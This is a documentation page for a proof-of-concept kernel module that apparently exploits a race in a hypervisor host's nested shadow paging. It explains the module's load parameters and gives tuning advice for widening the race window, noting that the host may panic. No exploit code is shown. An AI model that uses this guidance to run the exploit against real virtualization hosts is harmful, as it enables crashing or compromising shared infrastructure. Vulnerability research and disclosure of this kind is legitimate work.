Skip to main content
poc.ko exposes six module_param variables that let you tune the exploit’s virtualization backend, kthread count, race timing, diagnostic verbosity, and shadow page cache pressure. All parameters are read-only after load (mode 0444) and are passed as key=value arguments to insmod. The defaults are chosen to work on a wide range of hardware with no extra flags required.

​
Parameter Reference

The declarations from poc.c are reproduced below for reference:
​
int
default:"0"
Selects the virtualization backend.Must match the host CPU architecture. Loading with the wrong value causes the module to abort immediately with a CPU lacks VMX/SVM error.Example — AMD host:
​
int
default:"8"
Number of vCPU kthreads to launch. The actual count is capped at num_online_cpus() at load time. Thread roles are assigned as follows:
Exactly one thread (cpu 0) is always the writer. The remaining threads are either flood threads (Intel only, controlled by nflood) or faulter threads. Higher values increase race contention between faulters and the writer’s page-track callback, which generally shortens the time to trigger.
​
int
default:"256"
Number of cpu_relax() spins inserted between each PDE toggle. The writer thread alternates between writing a huge-page PTE and a table PTE at nest_pd[PDE_IDX]; dwell controls how long it pauses at each state:
Lower values increase toggle frequency. Higher values widen the race window per toggle. The default of 256 is a middle ground that works reliably across typical guest CPU counts.
​
int
default:"600000"
Maximum race duration in milliseconds (default: 10 minutes). If the race has not triggered within this window, the writer thread sets stop_all = 1 and the module self-terminates.Set to 0 for an indefinite run — the module will keep racing until it is manually removed with rmmod poc or the host panics.
​
int
default:"1"
Diagnostic output verbosity level written to the kernel log.
​
int
default:"0"
Number of EPT-pointer flood vCPUs. Intel VMX only — this parameter is ignored when amd=1.Flood threads do not participate in the writer/faulter race. Instead, each flood thread cycles through NPRESS (200) different pre-built EPT roots on every vmexit, stressing the host’s shadow page cache eviction path:
Adding flood threads increases shadow page cache pressure on the host, which can widen the race window by delaying shadow page cleanup. Use nflood=4 as a starting point on hosts with 16 or more physical CPUs.

​
Usage Examples